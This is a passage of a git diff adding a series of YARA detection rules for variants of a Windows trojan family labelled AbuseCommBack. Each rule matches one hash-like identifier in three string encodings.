"Trojan:Win64/AbuseCommBack.JS,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 34 00 35 00 37 00 42 00 42 00 34 00 45 00 35 00 44 00 46 00 30 00 45 00 36 00 35 00 30 00 35 00 30 00 39 00 33 00 32 00 32 00 43 00 41 00 38 00 39 00 34 00 37 00 35 00 38 00 44 00 39 00 32 00 35 00 41 00 35 00 36 00 38 00 38 00 32 00 38 00 30 00 39 00 30 00 41 00 33 00 34 00 34 00 39 00 44 00 35 00 41 00 45 00 45 00 45 00 44 00 33 00 30 00 45 00 39 00 42 00 38 00 45 00 31 00 38 00 3c 00 2f 00 70 00 3e 00 } //1

457BB4E5DF0E650509322CA894758D925A568828090A3449D5AEEED30E9B8E18

+ $a_01_1 = {34 35 37 42 42 34 45 35 44 46 30 45 36 35 30 35 30 39 33 32 32 43 41 38 39 34 37 35 38 44 39 32 35 41 35 36 38 38 32 38 30 39 30 41 33 34 34 39 44 35 41 45 45 45 44 33 30 45 39 42 38 45 31 38 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 34 35 37 42 42 34 45 35 44 46 30 45 36 35 30 35 30 39 33 32 32 43 41 38 39 34 37 35 38 44 39 32 35 41 35 36 38 38 32 38 30 39 30 41 33 34 34 39 44 35 41 45 45 45 44 33 30 45 39 42 38 45 31 38 69 64 } //1 tableid457BB4E5DF0E650509322CA894758D925A568828090A3449D5AEEED30E9B8E18id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JT.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JT.yar new file mode 100644 index 0000000000..250af9ac19 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JT.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JT{ + meta: + description = "Trojan:Win64/AbuseCommBack.JT,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 41 00 46 00 44 00 30 00 32 00 45 00 33 00 37 00 43 00 44 00 41 00 37 00 44 00 39 00 39 00 34 00 46 00 37 00 45 00 39 00 31 00 46 00 45 00 37 00 41 00 43 00 45 00 37 00 31 00 44 00 45 00 32 00 45 00 38 00 38 00 46 00 35 00 43 00 34 00 39 00 32 00 33 00 33 00 44 00 33 00 45 00 46 00 41 00 42 00 33 00 32 00 31 00 30 00 35 00 35 00 34 00 36 00 32 00 39 00 41 00 36 00 45 00 35 00 45 00 3c 00 2f 00 70 00 3e 00 } //1

AFD02E37CDA7D994F7E91FE7ACE71DE2E88F5C49233D3EFAB3210554629A6E5E

+ $a_01_1 = {41 46 44 30 32 45 33 37 43 44 41 37 44 39 39 34 46 37 45 39 31 46 45 37 41 43 45 37 31 44 45 32 45 38 38 46 35 43 34 39 32 33 33 44 33 45 46 41 42 33 32 31 30 35 35 34 36 32 39 41 36 45 35 45 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 41 46 44 30 32 45 33 37 43 44 41 37 44 39 39 34 46 37 45 39 31 46 45 37 41 43 45 37 31 44 45 32 45 38 38 46 35 43 34 39 32 33 33 44 33 45 46 41 42 33 32 31 30 35 35 34 36 32 39 41 36 45 35 45 69 64 } //1 tableidAFD02E37CDA7D994F7E91FE7ACE71DE2E88F5C49233D3EFAB3210554629A6E5Eid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JU.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JU.yar new file mode 100644 index 0000000000..a639483f08 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JU.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JU{ + meta: + description = "Trojan:Win64/AbuseCommBack.JU,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 42 00 46 00 43 00 38 00 33 00 36 00 45 00 42 00 41 00 45 00 30 00 36 00 34 00 35 00 30 00 46 00 44 00 44 00 33 00 36 00 42 00 36 00 33 00 31 00 37 00 30 00 46 00 31 00 32 00 31 00 46 00 34 00 34 00 41 00 44 00 41 00 44 00 46 00 46 00 32 00 44 00 41 00 46 00 41 00 41 00 46 00 41 00 34 00 31 00 33 00 31 00 34 00 42 00 36 00 37 00 37 00 38 00 46 00 36 00 30 00 30 00 33 00 35 00 30 00 3c 00 2f 00 70 00 3e 00 } //1

BFC836EBAE06450FDD36B63170F121F44ADADFF2DAFAAFA41314B6778F600350

+ $a_01_1 = {42 46 43 38 33 36 45 42 41 45 30 36 34 35 30 46 44 44 33 36 42 36 33 31 37 30 46 31 32 31 46 34 34 41 44 41 44 46 46 32 44 41 46 41 41 46 41 34 31 33 31 34 42 36 37 37 38 46 36 30 30 33 35 30 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 42 46 43 38 33 36 45 42 41 45 30 36 34 35 30 46 44 44 33 36 42 36 33 31 37 30 46 31 32 31 46 34 34 41 44 41 44 46 46 32 44 41 46 41 41 46 41 34 31 33 31 34 42 36 37 37 38 46 36 30 30 33 35 30 69 64 } //1 tableidBFC836EBAE06450FDD36B63170F121F44ADADFF2DAFAAFA41314B6778F600350id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JV.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JV.yar new file mode 100644 index 0000000000..26efaf67fc --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JV.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JV{ + meta: + description = "Trojan:Win64/AbuseCommBack.JV,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 45 00 43 00 39 00 39 00 42 00 44 00 35 00 41 00 33 00 36 00 44 00 45 00 36 00 39 00 31 00 34 00 34 00 46 00 35 00 34 00 30 00 32 00 43 00 38 00 33 00 32 00 42 00 35 00 34 00 31 00 33 00 32 00 39 00 35 00 33 00 32 00 33 00 46 00 43 00 37 00 43 00 31 00 32 00 32 00 35 00 39 00 43 00 35 00 33 00 45 00 34 00 41 00 41 00 36 00 44 00 35 00 42 00 43 00 32 00 44 00 34 00 45 00 36 00 44 00 3c 00 2f 00 70 00 3e 00 } //1

EC99BD5A36DE69144F5402C832B5413295323FC7C12259C53E4AA6D5BC2D4E6D

+ $a_01_1 = {45 43 39 39 42 44 35 41 33 36 44 45 36 39 31 34 34 46 35 34 30 32 43 38 33 32 42 35 34 31 33 32 39 35 33 32 33 46 43 37 43 31 32 32 35 39 43 35 33 45 34 41 41 36 44 35 42 43 32 44 34 45 36 44 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 45 43 39 39 42 44 35 41 33 36 44 45 36 39 31 34 34 46 35 34 30 32 43 38 33 32 42 35 34 31 33 32 39 35 33 32 33 46 43 37 43 31 32 32 35 39 43 35 33 45 34 41 41 36 44 35 42 43 32 44 34 45 36 44 69 64 } //1 tableidEC99BD5A36DE69144F5402C832B5413295323FC7C12259C53E4AA6D5BC2D4E6Did + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JW.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JW.yar new file mode 100644 index 0000000000..a5bad91ba7 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JW.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JW{ + meta: + description = "Trojan:Win64/AbuseCommBack.JW,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 35 00 30 00 46 00 41 00 38 00 35 00 36 00 46 00 45 00 35 00 37 00 44 00 36 00 41 00 32 00 39 00 39 00 41 00 37 00 33 00 38 00 41 00 30 00 44 00 31 00 45 00 31 00 39 00 45 00 36 00 39 00 45 00 41 00 46 00 32 00 43 00 35 00 34 00 30 00 39 00 44 00 36 00 31 00 37 00 39 00 31 00 39 00 35 00 38 00 30 00 32 00 34 00 32 00 42 00 41 00 43 00 41 00 46 00 43 00 38 00 38 00 41 00 31 00 44 00 3c 00 2f 00 70 00 3e 00 } //1

50FA856FE57D6A299A738A0D1E19E69EAF2C5409D617919580242BACAFC88A1D

+ $a_01_1 = {35 30 46 41 38 35 36 46 45 35 37 44 36 41 32 39 39 41 37 33 38 41 30 44 31 45 31 39 45 36 39 45 41 46 32 43 35 34 30 39 44 36 31 37 39 31 39 35 38 30 32 34 32 42 41 43 41 46 43 38 38 41 31 44 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 35 30 46 41 38 35 36 46 45 35 37 44 36 41 32 39 39 41 37 33 38 41 30 44 31 45 31 39 45 36 39 45 41 46 32 43 35 34 30 39 44 36 31 37 39 31 39 35 38 30 32 34 32 42 41 43 41 46 43 38 38 41 31 44 69 64 } //1 tableid50FA856FE57D6A299A738A0D1E19E69EAF2C5409D617919580242BACAFC88A1Did + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JX.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JX.yar new file mode 100644 index 0000000000..37a6935c40 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JX.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JX{ + meta: + description = "Trojan:Win64/AbuseCommBack.JX,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 36 00 41 00 33 00 34 00 30 00 32 00 30 00 37 00 32 00 34 00 36 00 42 00 34 00 37 00 45 00 33 00 37 00 46 00 36 00 44 00 30 00 39 00 34 00 44 00 32 00 32 00 33 00 36 00 45 00 35 00 43 00 36 00 32 00 34 00 32 00 42 00 36 00 45 00 34 00 34 00 36 00 31 00 45 00 45 00 46 00 38 00 30 00 32 00 31 00 46 00 45 00 44 00 32 00 43 00 39 00 38 00 35 00 35 00 32 00 34 00 30 00 43 00 33 00 45 00 3c 00 2f 00 70 00 3e 00 } //1

6A340207246B47E37F6D094D2236E5C6242B6E4461EEF8021FED2C9855240C3E

+ $a_01_1 = {36 41 33 34 30 32 30 37 32 34 36 42 34 37 45 33 37 46 36 44 30 39 34 44 32 32 33 36 45 35 43 36 32 34 32 42 36 45 34 34 36 31 45 45 46 38 30 32 31 46 45 44 32 43 39 38 35 35 32 34 30 43 33 45 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 36 41 33 34 30 32 30 37 32 34 36 42 34 37 45 33 37 46 36 44 30 39 34 44 32 32 33 36 45 35 43 36 32 34 32 42 36 45 34 34 36 31 45 45 46 38 30 32 31 46 45 44 32 43 39 38 35 35 32 34 30 43 33 45 69 64 } //1 tableid6A340207246B47E37F6D094D2236E5C6242B6E4461EEF8021FED2C9855240C3Eid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JY.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JY.yar new file mode 100644 index 0000000000..8212dee817 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JY.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JY{ + meta: + description = "Trojan:Win64/AbuseCommBack.JY,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 35 00 33 00 35 00 46 00 34 00 30 00 33 00 41 00 32 00 45 00 41 00 32 00 44 00 43 00 37 00 31 00 41 00 33 00 39 00 32 00 45 00 31 00 38 00 44 00 37 00 44 00 42 00 37 00 37 00 46 00 45 00 46 00 37 00 30 00 38 00 34 00 35 00 43 00 30 00 42 00 37 00 45 00 35 00 42 00 39 00 31 00 31 00 34 00 43 00 44 00 33 00 30 00 44 00 33 00 30 00 31 00 38 00 37 00 30 00 33 00 30 00 34 00 33 00 37 00 3c 00 2f 00 70 00 3e 00 } //1

535F403A2EA2DC71A392E18D7DB77FEF70845C0B7E5B9114CD30D30187030437

+ $a_01_1 = {35 33 35 46 34 30 33 41 32 45 41 32 44 43 37 31 41 33 39 32 45 31 38 44 37 44 42 37 37 46 45 46 37 30 38 34 35 43 30 42 37 45 35 42 39 31 31 34 43 44 33 30 44 33 30 31 38 37 30 33 30 34 33 37 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 35 33 35 46 34 30 33 41 32 45 41 32 44 43 37 31 41 33 39 32 45 31 38 44 37 44 42 37 37 46 45 46 37 30 38 34 35 43 30 42 37 45 35 42 39 31 31 34 43 44 33 30 44 33 30 31 38 37 30 33 30 34 33 37 69 64 } //1 tableid535F403A2EA2DC71A392E18D7DB77FEF70845C0B7E5B9114CD30D30187030437id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JZ.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JZ.yar new file mode 100644 index 0000000000..8fc6f25a8a --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JZ.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JZ{ + meta: + description = "Trojan:Win64/AbuseCommBack.JZ,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 42 00 32 00 36 00 32 00 35 00 33 00 45 00 30 00 41 00 38 00 46 00 38 00 37 00 43 00 42 00 42 00 41 00 32 00 39 00 35 00 31 00 39 00 45 00 37 00 32 00 39 00 35 00 33 00 39 00 37 00 36 00 33 00 31 00 33 00 32 00 36 00 44 00 39 00 34 00 31 00 36 00 32 00 44 00 32 00 39 00 46 00 39 00 41 00 32 00 42 00 31 00 43 00 41 00 45 00 36 00 38 00 39 00 39 00 37 00 39 00 31 00 32 00 31 00 30 00 3c 00 2f 00 70 00 3e 00 } //1

B26253E0A8F87CBBA29519E7295397631326D94162D29F9A2B1CAE6899791210

+ $a_01_1 = {42 32 36 32 35 33 45 30 41 38 46 38 37 43 42 42 41 32 39 35 31 39 45 37 32 39 35 33 39 37 36 33 31 33 32 36 44 39 34 31 36 32 44 32 39 46 39 41 32 42 31 43 41 45 36 38 39 39 37 39 31 32 31 30 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 42 32 36 32 35 33 45 30 41 38 46 38 37 43 42 42 41 32 39 35 31 39 45 37 32 39 35 33 39 37 36 33 31 33 32 36 44 39 34 31 36 32 44 32 39 46 39 41 32 42 31 43 41 45 36 38 39 39 37 39 31 32 31 30 69 64 } //1 tableidB26253E0A8F87CBBA29519E7295397631326D94162D29F9A2B1CAE6899791210id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KA.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KA.yar new file mode 100644 index 0000000000..68f2dec802 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KA.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KA{ + meta: + description = "Trojan:Win64/AbuseCommBack.KA,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 32 00 33 00 42 00 33 00 35 00 44 00 42 00 39 00 41 00 43 00 36 00 44 00 45 00 46 00 44 00 37 00 46 00 32 00 45 00 46 00 34 00 34 00 35 00 46 00 33 00 46 00 38 00 42 00 31 00 44 00 42 00 31 00 42 00 30 00 34 00 36 00 37 00 35 00 36 00 36 00 30 00 35 00 31 00 31 00 30 00 41 00 43 00 37 00 43 00 37 00 33 00 41 00 46 00 39 00 30 00 45 00 44 00 37 00 39 00 35 00 32 00 42 00 35 00 41 00 3c 00 2f 00 70 00 3e 00 } //1

23B35DB9AC6DEFD7F2EF445F3F8B1DB1B046756605110AC7C73AF90ED7952B5A

+ $a_01_1 = {32 33 42 33 35 44 42 39 41 43 36 44 45 46 44 37 46 32 45 46 34 34 35 46 33 46 38 42 31 44 42 31 42 30 34 36 37 35 36 36 30 35 31 31 30 41 43 37 43 37 33 41 46 39 30 45 44 37 39 35 32 42 35 41 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 32 33 42 33 35 44 42 39 41 43 36 44 45 46 44 37 46 32 45 46 34 34 35 46 33 46 38 42 31 44 42 31 42 30 34 36 37 35 36 36 30 35 31 31 30 41 43 37 43 37 33 41 46 39 30 45 44 37 39 35 32 42 35 41 69 64 } //1 tableid23B35DB9AC6DEFD7F2EF445F3F8B1DB1B046756605110AC7C73AF90ED7952B5Aid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KB.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KB.yar new file mode 100644 index 0000000000..99011a1fef --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KB{ + meta: + description = "Trojan:Win64/AbuseCommBack.KB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 36 00 41 00 31 00 34 00 34 00 38 00 34 00 31 00 36 00 38 00 32 00 38 00 46 00 36 00 44 00 31 00 46 00 33 00 42 00 41 00 37 00 38 00 31 00 34 00 45 00 37 00 46 00 37 00 45 00 37 00 44 00 37 00 43 00 30 00 41 00 33 00 43 00 32 00 31 00 46 00 45 00 37 00 34 00 34 00 37 00 46 00 35 00 34 00 37 00 34 00 33 00 30 00 35 00 31 00 33 00 46 00 32 00 45 00 30 00 41 00 30 00 34 00 34 00 31 00 3c 00 2f 00 70 00 3e 00 } //1

6A1448416828F6D1F3BA7814E7F7E7D7C0A3C21FE7447F547430513F2E0A0441

+ $a_01_1 = {36 41 31 34 34 38 34 31 36 38 32 38 46 36 44 31 46 33 42 41 37 38 31 34 45 37 46 37 45 37 44 37 43 30 41 33 43 32 31 46 45 37 34 34 37 46 35 34 37 34 33 30 35 31 33 46 32 45 30 41 30 34 34 31 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 36 41 31 34 34 38 34 31 36 38 32 38 46 36 44 31 46 33 42 41 37 38 31 34 45 37 46 37 45 37 44 37 43 30 41 33 43 32 31 46 45 37 34 34 37 46 35 34 37 34 33 30 35 31 33 46 32 45 30 41 30 34 34 31 69 64 } //1 tableid6A1448416828F6D1F3BA7814E7F7E7D7C0A3C21FE7447F547430513F2E0A0441id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KC.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KC.yar new file mode 100644 index 0000000000..cf5d0b6778 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KC.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KC{ + meta: + description = "Trojan:Win64/AbuseCommBack.KC,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 33 00 44 00 43 00 45 00 31 00 43 00 34 00 33 00 34 00 39 00 31 00 46 00 43 00 39 00 32 00 45 00 41 00 37 00 30 00 31 00 30 00 33 00 32 00 32 00 30 00 34 00 30 00 42 00 32 00 35 00 34 00 46 00 44 00 44 00 32 00 37 00 33 00 31 00 30 00 30 00 31 00 43 00 32 00 44 00 44 00 43 00 32 00 42 00 39 00 45 00 38 00 31 00 39 00 46 00 30 00 43 00 39 00 34 00 36 00 42 00 44 00 43 00 33 00 43 00 3c 00 2f 00 70 00 3e 00 } //1

3DCE1C43491FC92EA7010322040B254FDD2731001C2DDC2B9E819F0C946BDC3C

+ $a_01_1 = {33 44 43 45 31 43 34 33 34 39 31 46 43 39 32 45 41 37 30 31 30 33 32 32 30 34 30 42 32 35 34 46 44 44 32 37 33 31 30 30 31 43 32 44 44 43 32 42 39 45 38 31 39 46 30 43 39 34 36 42 44 43 33 43 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 33 44 43 45 31 43 34 33 34 39 31 46 43 39 32 45 41 37 30 31 30 33 32 32 30 34 30 42 32 35 34 46 44 44 32 37 33 31 30 30 31 43 32 44 44 43 32 42 39 45 38 31 39 46 30 43 39 34 36 42 44 43 33 43 69 64 } //1 tableid3DCE1C43491FC92EA7010322040B254FDD2731001C2DDC2B9E819F0C946BDC3Cid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KD.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KD.yar new file mode 100644 index 0000000000..6825960808 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KD.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KD{ + meta: + description = "Trojan:Win64/AbuseCommBack.KD,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 46 00 37 00 39 00 41 00 37 00 31 00 41 00 44 00 38 00 42 00 42 00 32 00 45 00 33 00 45 00 37 00 45 00 44 00 46 00 43 00 33 00 38 00 39 00 37 00 30 00 46 00 44 00 43 00 30 00 35 00 45 00 39 00 32 00 32 00 45 00 34 00 32 00 39 00 42 00 35 00 44 00 46 00 43 00 33 00 32 00 35 00 43 00 37 00 44 00 30 00 45 00 39 00 31 00 46 00 32 00 31 00 36 00 44 00 45 00 38 00 46 00 33 00 35 00 33 00 3c 00 2f 00 70 00 3e 00 } //1

F79A71AD8BB2E3E7EDFC38970FDC05E922E429B5DFC325C7D0E91F216DE8F353

+ $a_01_1 = {46 37 39 41 37 31 41 44 38 42 42 32 45 33 45 37 45 44 46 43 33 38 39 37 30 46 44 43 30 35 45 39 32 32 45 34 32 39 42 35 44 46 43 33 32 35 43 37 44 30 45 39 31 46 32 31 36 44 45 38 46 33 35 33 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 46 37 39 41 37 31 41 44 38 42 42 32 45 33 45 37 45 44 46 43 33 38 39 37 30 46 44 43 30 35 45 39 32 32 45 34 32 39 42 35 44 46 43 33 32 35 43 37 44 30 45 39 31 46 32 31 36 44 45 38 46 33 35 33 69 64 } //1 tableidF79A71AD8BB2E3E7EDFC38970FDC05E922E429B5DFC325C7D0E91F216DE8F353id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KE.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KE.yar new file mode 100644 index 0000000000..db07742681 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KE.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KE{ + meta: + description = "Trojan:Win64/AbuseCommBack.KE,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 41 00 31 00 41 00 36 00 44 00 32 00 45 00 43 00 43 00 38 00 44 00 42 00 31 00 38 00 44 00 41 00 30 00 44 00 35 00 46 00 30 00 34 00 43 00 35 00 45 00 44 00 30 00 31 00 41 00 35 00 36 00 35 00 42 00 35 00 41 00 34 00 36 00 45 00 34 00 30 00 31 00 32 00 46 00 41 00 45 00 36 00 32 00 37 00 41 00 43 00 43 00 42 00 35 00 44 00 37 00 30 00 39 00 42 00 42 00 38 00 39 00 34 00 37 00 37 00 3c 00 2f 00 70 00 3e 00 } //1

A1A6D2ECC8DB18DA0D5F04C5ED01A565B5A46E4012FAE627ACCB5D709BB89477

+ $a_01_1 = {41 31 41 36 44 32 45 43 43 38 44 42 31 38 44 41 30 44 35 46 30 34 43 35 45 44 30 31 41 35 36 35 42 35 41 34 36 45 34 30 31 32 46 41 45 36 32 37 41 43 43 42 35 44 37 30 39 42 42 38 39 34 37 37 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 41 31 41 36 44 32 45 43 43 38 44 42 31 38 44 41 30 44 35 46 30 34 43 35 45 44 30 31 41 35 36 35 42 35 41 34 36 45 34 30 31 32 46 41 45 36 32 37 41 43 43 42 35 44 37 30 39 42 42 38 39 34 37 37 69 64 } //1 tableidA1A6D2ECC8DB18DA0D5F04C5ED01A565B5A46E4012FAE627ACCB5D709BB89477id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KF.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KF.yar new file mode 100644 index 0000000000..0eda225747 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KF.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KF{ + meta: + description = "Trojan:Win64/AbuseCommBack.KF,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 33 00 44 00 46 00 38 00 36 00 42 00 31 00 32 00 36 00 33 00 34 00 46 00 34 00 33 00 30 00 38 00 46 00 38 00 31 00 43 00 38 00 36 00 32 00 35 00 31 00 41 00 46 00 39 00 34 00 30 00 44 00 38 00 46 00 36 00 34 00 39 00 32 00 41 00 30 00 37 00 34 00 43 00 38 00 43 00 36 00 46 00 32 00 45 00 46 00 41 00 30 00 44 00 31 00 33 00 34 00 46 00 30 00 32 00 34 00 41 00 36 00 45 00 35 00 34 00 3c 00 2f 00 70 00 3e 00 } //1

3DF86B12634F4308F81C86251AF940D8F6492A074C8C6F2EFA0D134F024A6E54

+ $a_01_1 = {33 44 46 38 36 42 31 32 36 33 34 46 34 33 30 38 46 38 31 43 38 36 32 35 31 41 46 39 34 30 44 38 46 36 34 39 32 41 30 37 34 43 38 43 36 46 32 45 46 41 30 44 31 33 34 46 30 32 34 41 36 45 35 34 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 33 44 46 38 36 42 31 32 36 33 34 46 34 33 30 38 46 38 31 43 38 36 32 35 31 41 46 39 34 30 44 38 46 36 34 39 32 41 30 37 34 43 38 43 36 46 32 45 46 41 30 44 31 33 34 46 30 32 34 41 36 45 35 34 69 64 } //1 tableid3DF86B12634F4308F81C86251AF940D8F6492A074C8C6F2EFA0D134F024A6E54id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KG.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KG.yar new file mode 100644 index 0000000000..7707b90cc1 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KG.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KG{ + meta: + description = "Trojan:Win64/AbuseCommBack.KG,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 31 00 38 00 41 00 42 00 45 00 33 00 32 00 31 00 38 00 44 00 41 00 34 00 31 00 34 00 46 00 46 00 45 00 38 00 38 00 37 00 45 00 